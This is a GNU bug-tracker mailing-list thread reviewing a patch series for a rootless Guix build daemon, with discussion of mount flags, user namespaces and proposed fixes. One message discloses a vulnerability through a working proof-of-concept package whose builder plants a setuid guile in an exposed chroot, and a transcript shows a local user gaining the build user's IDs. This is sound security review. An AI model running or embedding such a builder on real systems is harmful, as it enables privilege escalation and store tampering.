 pfcfzZjSev/B8O13+e8pAUAY03kth0dPDTpmnGV8wwWFUz7Oo8IR5oVtsO26TTqucMq7yvJZ5yX5t
 JsnPUA8mv8aLzi/pEyHMKUsyQzqw9vIa9OWGh2mRtoOWv5MovVfVN1q6Yv+Kb3MpjWvqHzHHVPfXV
 wO0k7THzmk4M65D7xKhxsM/vLnpc+G4xBQ/YNIWFDeANAMVOnP75WV5OYfQE79GV65V3MQy7Lr358
 y11lsRG7df8dYedyzk3Oem1+TnSUOCMu4huV9jWp8aAElAmGpq0DBOAKIPteUE6YMnNT2Szri1UC4
 V/h8h/15ks4PXc1x1YNbDnh6JlpO8CaGWbdt7IebO9or2CLc9cCL71lD2r/ghUwu7tu6yDp3IZ1Yz
 F5wOW976RDSKcxO4HkXylhKbvkoHF58598Do1fRPo=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1td2s4-000000006WI-3kM4; Wed, 29 Jan 2025 01:52:26 -0600
From: Reepca Russelstein <reepca@HIDDEN>
In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message of "Mon, 27 Jan 2025 22:31:43 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
Date: Wed, 29 Jan 2025 01:51:33 -0600
Message-ID: <87msfadpmi.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> writes: > Hello Reepca, >
   > Reepca Russelstein <reepca@HIDDEN> skribis: > >> user@debian:~$
    /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello >> GOOOOOD
    BYYEEEEEE > > This particular [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.0 (+)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.0 (+)

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> Hello Reepca,
>
> Reepca Russelstein <reepca@HIDDEN> skribis:
>
>> user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/=
bin/hello
>> GOOOOOD BYYEEEEEE
>
> This particular issue is fixed with read-only mounts:
>
> diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
> index c95bd2821f..e8e4a56e2d 100644
> --- a/nix/libstore/build.cc
> +++ b/nix/libstore/build.cc
> @@ -2175,7 +2175,7 @@ void DerivationGoal::runChild()
>                      createDirs(dirOf(target));
>                      writeFile(target, "");
>                  }
> -                if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0=
) =3D=3D -1)
> +                if (mount(source.c_str(), target.c_str(), "", MS_BIND | =
MS_RDONLY, 0) =3D=3D -1)
>                      throw SysError(format("bind mount from `%1%' to `%2%=
' failed") % source % target);
>              }
>=20=20
>
>
> (I checked that it does the right thing.)
>
> The fix is trivial, but I=E2=80=99m glad you found the bug in the first p=
lace;
> it does stress that we have to be careful here.

Not quite trivial, consider this section from mount(2):

    Creating a bind mount
       If mountflags includes MS_BIND (available since Linux 2.4),  then  p=
er=E2=80=90
       form  a  bind  mount.  A bind mount makes a file or a directory subt=
ree
       visible at another point within the single directory  hierarchy.   B=
ind
       mounts may cross filesystem boundaries and span chroot(2) jails.

       The filesystemtype and data arguments are ignored.

       The  remaining  bits (other than MS_REC, described below) in the mou=
nt=E2=80=90
       flags argument are also ignored.  (The bind mount has  the  same  mo=
unt
       options  as  the underlying mount.)  However, see the discussion of =
re=E2=80=90
       mounting above, for a method of making an  existing  bind  mount  re=
ad-
       only.

If you run my sneakysneaky example from before, you'll find that it
still succeeds at replacing the "hello" binary because of this, even
with your MS_RDONLY patch.  This can be resolved by instead using
MS_RDONLY with a followup mount call using MS_REMOUNT.

Note also that store items that are files instead of directories (e.g. sour=
ce
tarballs) are hardlinked if possible.  This seems to stem from an old
misconception that only directories can be bind-mounted.  The hardlinks,
of course, do not have any write-protection on them aside from their
permission bits.

This can be resolved by always bind-mounting them instead.  Despite the
name, there is actually already support for bind-mounting non-directory
files that are listed in dirsInChroot.

>> I suppose we could try to perform these bind-mounts with the MS_RDONLY
>> flag, but we would need some way to ensure that the builder can't just
>> remount them read-write
>
> The example below tests that; =E2=80=98mount=E2=80=99 fails with EPERM wh=
en using the
> unprivileged daemon (=E2=80=98./test-env guix build -f =E2=80=A6=E2=80=99=
):
>
> (use-modules (guix)
>              (guix modules)
>              (gnu packages bootstrap))
>
> (computed-file "try-to-remount-input-read-write"
>                (with-imported-modules (source-module-closure
>                                        '((guix build syscalls)))
>                  #~(begin
>                      (use-modules (guix build syscalls))
>
>                      (let ((input #$(plain-file "input-that-might-be-tamp=
ered-with"
>                                                 "All good!")))
>                        (mount "none" input "none" (logior MS_BIND MS_REMO=
UNT))
>                        (call-with-output-file input
>                          (lambda (port)
>                            (display "BAD!" port)))
>                        (mkdir #$output))))
>                #:guile %bootstrap-guile)
>
>
> This is similar to:
>
>   guix shell -C guile guix -- \
>     guile -c '(use-modules (guix build syscalls)) (mount "none" (getenv "=
GUIX_ENVIRONMENT") "none" (logior MS_BIND MS_REMOUNT))'
>
> mount(2) has this:
>
>    EPERM  An attempt was made to modify (MS_REMOUNT) the MS_RDONLY, MS_NO=
=E2=80=90
>           SUID, or MS_NOEXEC flag, or one of the "atime"  flags  (MS_NOAT=
=E2=80=90
>           IME,  MS_NODIRATIME,  MS_RELATIME) of an existing mount, but the
>           mount is locked; see mount_namespaces(7).
>
> I couldn=E2=80=99t find the definite answer in mount_namespaces(7) as to =
whether
> this applies in this case (same namespace but after chroot); I can only
> tell empirically that it does apply.

I don't think that's why we're getting EPERM.  I think we're running
into this, from user_namespaces(7):

   Note that a call to execve(2) will cause a process's capabilities to
   be recalculated in the usual way (see capabilities(7)).
   Consequently, unless the process has a user ID of 0 within the
   namespace, or the executable file has a nonempty inheritable
   capabilities mask, the process will lose all capabilities.  See the
   discussion of user and group ID mappings, below.

As the builder is in the store, it can't have any associated capability
masks, and your added call to prctl to drop ambient capabilities,
together with the fact that the mapped UID inside the container is
nonzero, should make it so that it therefore wouldn't be able to inherit
any.

On a tangentially-related note, the ambient capability set didn't come
into being until Linux 4.3 (around 2016), which is a fair bit newer than
unprivileged user namespaces.  Take that for what you will.

Now, according to capabilities(7):

    Per-user-namespace "set-user-ID-root" programs
       A  set-user-ID  program  whose  UID matches the UID that created a u=
ser
       namespace will confer capabilities in the process's permitted  and  =
ef=E2=80=90
       fective  sets when executed by any process inside that namespace or =
any
       descendant user namespace.

       The rules about the transformation of the process's capabilities dur=
ing
       the  execve(2)  are exactly as described in Transformation of capabi=
li=E2=80=90
       ties during execve() and Capabilities and execution of programs by r=
oot
       above,  with  the  difference that, in the latter subsection, "root"=
 is
       the UID of the creator of the user namespace.

This would seem to suggest that the capabilities within the user
namespace could be regained by creating a setuid binary and executing
it, but experimentally this doesn't happen, and I am unsure whether this
is a bug in the documentation, kernel, or my reading comprehension.  At
any rate, I am less than confident in relying on this behavior.

I think it would be a good idea to, in the no-build-user case, add an
extra call to unshare right at the point where the user and group would
be changed in the build-user case.  This extra call would create a fresh
user and mount namespace, ensuring that the mount-locking behavior you
referenced applies.  My understanding is that the setuid behavior
documented above only grants capabilities, it doesn't change the user
namespace that the process is in, so it should be impossible for the
builder to gain capabilities inside the user namespace owning the
bind-mounted store items, even if it somehow gained full capabilities
within this fresh user namespace.


> -	pid =3D clone(childEntry,
> + 	pid =3D clone(childEntry,
>  		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
>  		    flags, this);
> -	if (pid =3D=3D -1)
> -	    throw SysError("cloning builder process");
> +	if (pid =3D=3D -1) {
> +	    if ((flags & CLONE_NEWUSER) !=3D 0 && getuid() !=3D 0)
> +		/* 'clone' fails with EPERM on distros where unprivileged user
> +		   namespaces are disabled.  Error out instead of giving up on
> +		   isolation.  */
> +		throw SysError("cannot create process in unprivileged user namespace");
> +	    else
> +		throw SysError("cloning builder process");
> +	}
> +
> +	if ((flags & CLONE_NEWUSER) !=3D 0) {
> +	    /* Initialize the UID/GID mapping of the guest.  */
> +	    if (pid =3D=3D 0) {
> +		char str[20] =3D { '\0' };
> +		readFull(readiness.readSide, (unsigned char*)str, 3);
> +		if (strcmp(str, "go\n") !=3D 0)
> +		    throw Error("failed to initialize process in unprivileged user nam=
espace");
> +	    } else {
> +		initializeUserNamespace(pid);
> +		writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
> +	    }

This doesn't actually do any synchronizing with the child process,
because clone never returns 0.  It's not like fork where it returns
twice with a different return value each time, control in the new thread
instead goes straight to childEntry.  The parent doesn't get stuck and
hang when writing because PIPE_BUF > 3.

>> This does raise the question, though, of how these failed build
>> directories would get deleted, aside from rebooting the system.
>
> Note that in the early days (and in current Nix actually), build trees
> were not chowned.  That=E2=80=99s OK: they=E2=80=99re deleted upon reboot=
 or by the
> system administrator.
>
> Current Nix has this:
>
> void DerivationGoal::deleteTmpDir(bool force)
> {
>     if (tmpDir !=3D "") {
>         /* Don't keep temporary directories for builtins because they
>            might have privileged stuff (like a copy of netrc). */
>         if (settings.keepFailed && !force && !drv->isBuiltin()) {
>             printError("note: keeping build directory '%s'", tmpDir);
>             chmod(tmpDir.c_str(), 0755);
>         }
>         else
>             deletePath(tmpDir);
>         tmpDir =3D "";
>     }
> }
>
> We could go back to this.  It=E2=80=99s less convenient, but okay.
>
> In this patch series, it attempts to chown the tree; if it fails to do
> so (because it lacks CAP_CHOWN), it prints a warning and keeps going.

My concern comes from knowing that I've at times gone through 100
sequential failed builds while trying to package something tricky, and I
tend to keep my disk on the low end of free space to minimize how often
I need to rebuild stuff.  That and the one time I tried tinkering with
ungoogled-chromium.  I know I'd probably cause a lot of trouble if I
tried doing that stuff on a shared system I didn't have administrative
access to.

A best-effort chown attempt should do fine for now, though.

>> We currently remount /gnu/store read-write at LocalStore-creation-time,
>> which happens in the newly-forked guix-daemon process at the start of a
>> connection.  I don't think there's any particularly elevated risk from
>> instead doing that before the per-connection process is forked.  There
>> are a number of ways we could do this: we could make it the
>> responsibility of the init system to create the mount namespace and do
>> the remounting, or we could have guix-daemon do it immediately on
>> startup and subsequently switch its uid and gid to
>> guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
>> have to give it root, and you can prove it just by looking at the
>> service file", but realistically should be just as secure.  It may be
>> useful to provide a small wrapper around guix-daemon that does the
>> remount and privilege-dropping, to more succinctly express this to
>> anybody wishing to see for themselves.
>
> I think I=E2=80=99d prefer to have a systemd (or other) service make a
> read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run
> =E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99.
>
> WDYT?

So if I understand correctly, we would have /gnu/store hold all of its
usual contents in the usual manner, and a service would bind-mount
/gnu/store to /gnu/store/.rw-store without MS_RDONLY, and then it (or
another service that depends on it) would bind-mount /gnu/store to
itself with MS_RDONLY, and then guix-daemon would, in its own mount
namespace, bind-mount /gnu/store/.rw-store to /gnu/store, again without
MS_RDONLY.

I assume that making /gnu/store read-only wouldn't make the
already-bind-mounted /gnu/store/.rw-store read-only too?  If it does,
it's not going to work, and if it doesn't, it's going to remain writable
for footgun appreciators.  But I suppose it's at least a little more
out-of-the-way.

I think it might be simpler to integrate the change if we instead made
it /gnu/.rw-store or something like that, since that way we don't have
to worry about updating the garbage collector and such to treat it
specially.

Actually, now that I think about it, another possibility would be having
a service that the read-only store-mount service depends on that first
creates a persistent user+mount namespace combo which saves a view of
the writable store (I don't recall exactly how creating the persistent
namespace works, but I know the 'ip netns ...' commands can do something
similar to create named network namespaces).  The process that creates
this namespace would run as the guix-daemon user, and therefore when
guix-daemon starts it would have full capabilities within that user
namespace, and could setns straight into it.  This would leave no
writable store in the root mount namespace.

>> Personally, I think that if a guix-daemon can use privilege separation
>> users, it would probably be a good idea to.  We're certainly going to
>> need to support them on non-linux systems either way.  Could it be
>> possible to have guix-install.sh modify /etc/sudoers on systems that use
>> it to allow the guix-daemon user to run processes under guix builder
>> users?  I am currently less worried about arbitrary code execution
>> vulnerabilities being found in the daemon than about the possibility of
>> malicious builders (but it is possible I am underexposed to the ways
>> those can happen in C++).
>
> What would you put in /etc/sudoers?  I=E2=80=99m not sure what you had in
> mind.

I'm not sure what I had in mind either, I've only seen some opine that
it's usually better to configure sudo than to write your own setuid
programs, which was the first thing that came to mind for how to use
dedicated build users without needing the entire daemon running as root.
I recall reading somewhere that it could be configured to allow certain
users to run certain commands as certain other users?  So maybe it could
be configured to allow the guix-daemon user to run any command as any of
the guixbuilder users.  Although granted, the way that container setup
is currently done wouldn't work very well with that, since by the time
we're ready to execute the builder we're already fully in the container,
where setuid-root binaries should probably not be.

I know that "how to use dedicated build users without root" probably
isn't what you were asking for feedback on, but it did show up in my
thoughts quite a bit.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmeZ3gYXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJzAkQf/VZjUTwuxVy5Aid8p4p+ovhT0
0tkp7zheyG8TojG/YSgBhjF4YXfA5vAymdMjCMFCmt6J3gIlOgGjgbDyVylvzFxG
KnE5nYXnujP2XKJ61pbWKVrAP2Lqdz7gGq+EKu9dCsHBDkPQkWo0idoSW6oIdXSF
EISvUGtZ5wrzm6uAl5D0YINqw/aAEbharanfZYin2eRIy7hH5k598Wca7hgBC9e0
fDy+dBn7vME3bUzitXHpvdZVsgHOSDpKogacsIJRbsAqEVPYXNU/tN5xTjomb5dM
ycF4epwPKqDcy+/rWX3N3vP266E5vxUL3SvQ0ujYlafrC+OiEICySu4BLTPoSA==
=6lw/
-----END PGP SIGNATURE-----
--=-=-=--




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Reepca Russelstein <reepca@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 31 Jan 2025 22:37:02 +0000
Resent-Message-ID: <handler.75810.B75810.17383629813896 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Cc: 75810 <at> debbugs.gnu.org
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.17383629813896
          (code B ref 75810); Fri, 31 Jan 2025 22:37:02 +0000
Received: (at 75810) by debbugs.gnu.org; 31 Jan 2025 22:36:21 +0000
Received: from localhost ([127.0.0.1]:55304 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tdzca-00010m-Om
	for submit <at> debbugs.gnu.org; Fri, 31 Jan 2025 17:36:21 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:35892)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tdzcV-00010X-LD
 for 75810 <at> debbugs.gnu.org; Fri, 31 Jan 2025 17:36:18 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=WttHpXVgzn/HB06VS3KcNGePd+sdhHakYWPshDyVBZg=; b=zJ4gZ064TrvnicplXbZSduiIYB
 9VDfK8YMgMgC1/b7tBTvDkamCpwZyqfZYsTZDaJ/xgfXv9UqQ3kV1GMtEDAw==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=WttHpXVgzn/HB06VS3KcNGePd+sdhHakYWPshDyVBZg=; b=iMHYBfl3aJtWCcKFbkysJnFRzA
 27Qh1UzIB6SwSO/02C2WmXUXH8afwz+v01GfJXSTfB9ggj9WFFjw8XW9g+ytnaooqkyqlcCZfK0DA
 hDtHelO+Xa0nG/3Qhz97CxUdUPi0CXCcOjJ0s7yHAtsj01eRVEIVUbxjkqr3GQihyXbAIF1g9aaFu
 qpdeLYfE7UEmfPYvnHHROXEIy7RwAj7hrXcPdsHlabgZ2bPJtsZ9XqADWJICi2YmXdhK1IrFPnMwu
 qpLp8PUMIdJ7YSJugN66UMvGxSTAfvRVXaeL/rPD5FVhkRPDTX+xjJglMdJJx5dzolK+SLGPK+5Rg
 v1hs18QvSLKPw7BmU2lZSn85Q/U/HcvXxxXiIox1052t51MlVPdeFZ8JC5sNl6YgfuvWrcyQhRPBl
 8XAxek455UNcd6gpR+yizrFT0P4NvQXzjoaTrPnj7oEmpdbUKCNDFEq8uBk5HqmbmtYvsvbzdhzyo
 i6+fz7oyBsoDnDlhOspuQDr7K4ZSKZKjTWZN2nSKlbE00Un6OfXQXIF1gr7s5V9jgfh5bwUo+SvB8
 rzz7ohd+cJpV6QHDdKCkF5SQlAlSsgP8eQI/mpjcfCkE4ud2QlFBfLtrFP8cjyvhBiy/+jERcl50s
 z7YGHrlOr9d4BILNe2FWEDPQouG4VXjvDc0Robi4c=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tdzcR-000000006kN-2U8z; Fri, 31 Jan 2025 16:36:12 -0600
From: Reepca Russelstein <reepca@HIDDEN>
In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message of "Mon, 27 Jan 2025 22:31:43 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
Date: Fri, 31 Jan 2025 16:35:24 -0600
Message-ID: <875xluehn7.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: I've found another vulnerability in using guix-daemon as the
 build user: the chroot root directory is owned by the build user. By itself
 this would normally only cause some reproducibility issues, but [...] 
 Content analysis details:   (0.5 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.1 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: I've found another vulnerability in using guix-daemon as the
 build user: the chroot root directory is owned by the build user. By itself
 this would normally only cause some reproducibility issues, but [...] 
 Content analysis details:   (1.1 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.6 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
 0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.1 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  I've found another vulnerability in using guix-daemon as the
    build user: the chroot root directory is owned by the build user. By itself
    this would normally only cause some reproducibility issues, but [...] 
 
 Content analysis details:   (1.1 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.6 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I've found another vulnerability in using guix-daemon as the build user:
the chroot root directory is owned by the build user.  By itself this
would normally only cause some reproducibility issues, but that
directory is also visible from the outside world as
/gnu/store/...-packagename.drv.chroot.  Consequently, a simple chmod
from the builder can expose the contents of the chroot, including any
setuid programs.

Demonstration:

=2D-8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (gnu)
             (guix build-system trivial))

(define-public sneakysneaky
  (package
    (name "sneakysneaky")
    (version "0")
    (source #f)
    (build-system trivial-build-system)
    (arguments
     (list
      #:builder
      #~(let ((guile (string-append (assoc-ref %guile-build-info
                                               'bindir)
                                    "/guile")))
          (chmod "/" #o777)
          (copy-file guile "/guile")
          (chmod "/guile" #o6755)
          (sleep 1000)
          (mkdir #$output))))
    (home-page "")
    (synopsis "")
    (description "")
    (license #f)))

sneakysneaky
=2D-8<---------------cut here---------------end--------------->8---

If I save this as /tmp/mal-test3.scm, I can observe the following:

=2D-8<---------------cut here---------------start------------->8---
user@debian:~$ guix build --derivations --no-grafts -f /tmp/mal-test3.scm
/gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
user@debian:~$ guix build /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneak=
ysneaky-0.drv
substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 1=
00.0%
substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0%
The following derivation will be built:
  /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
building /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv...
  C-c C-z
[1]+  Stopped                 guix build /gnu/store/qx5m1iq72628qy90wpwczyp=
zfc28ss57-sneakysneaky-0.drv
user@debian:~$=20
user@debian:~$ ls /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-=
0.drv.chroot
dev  etc  gnu  guile  proc  tmp
user@debian:~$ /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.d=
rv.chroot/guile
guile: warning: failed to install locale
warning: failed to install locale: Invalid argument
GNU Guile 3.0.9
Copyright (C) 1995-2023 Free Software Foundation, Inc.

Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'.
This program is free software, and you are welcome to redistribute it
under certain conditions; type `,show c' for details.

Enter `,help' for help.
scheme@(guile-user)> (geteuid)
$1 =3D 999
scheme@(guile-user)> (getegid)
$2 =3D 996
scheme@(guile-user)>=20
user@debian:~$ id
uid=3D1000(user) gid=3D1000(user) groups=3D1000(user),24(cdrom),25(floppy),=
27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),113=
(bluetooth),117(scanner)
user@debian:~$=20
=2D-8<---------------cut here---------------end--------------->8---


The security impact of this could be resolved by doing the same thing we
do with build directories - have the actual mounted-into-the-chroot
directory be the "/top" subdirectory of the externally-visible chroot
directory.  In the example above, that would be
/gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv.chroot/top.
Due to the use of pivot_root, the upper .chroot directory would become
completely inaccessible to the builder, ensuring that it remains
inaccessible for unprivileged users.

I'm less sure about how to resolve the impact to reproducibility.  We
could try mounting the root directory specifically as read-only,
perhaps, though my understanding is that this may cause open, chmod, etc
to return EROFS instead of EACCES or EPERM.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmedUCwXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJyBtQgAmXPI8k1Os1tVCb6Py8Rn++1Q
tPR0TL9wItX0hN+RQTHNpIsPE6hbgc2FgKQ3zbIUk2D4VGn8YA1qh9nFt/UJMuoK
QGHbE+6ctuADAbU4KubRR5N/NxyP+IupG7zttEtiO6rOGfSeoVaugdsjoLE5ZUx1
MX9qr5asjfx8SO8oEkafM7bQpDDNJrTSj8OWrQ5KhJclIwMdaXVFGScJUU4igvZX
LfL4Bo8tnK2V6urP87xEDindHRBUsFLvI//TTUuZzl1qyYmB6+AFtRTfpr/zIQH5
m2gOdoXi3mbdOnNwD7q+BCfC7Nh+a/1mmfJrP/mRHfosYen4Jl8wnjWkFgucNQ==
=jv04
-----END PGP SIGNATURE-----
--=-=-=--




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 0/9] Rootless daemon
References: <cover.1737738362.git.ludo@HIDDEN>
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:01 +0000
Resent-Message-ID: <handler.75810.B75810.173944881813971 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944881813971
          (code B ref 75810); Thu, 13 Feb 2025 12:14:01 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:38 +0000
Received: from localhost ([127.0.0.1]:41108 helo=debbugs.gnu.org)
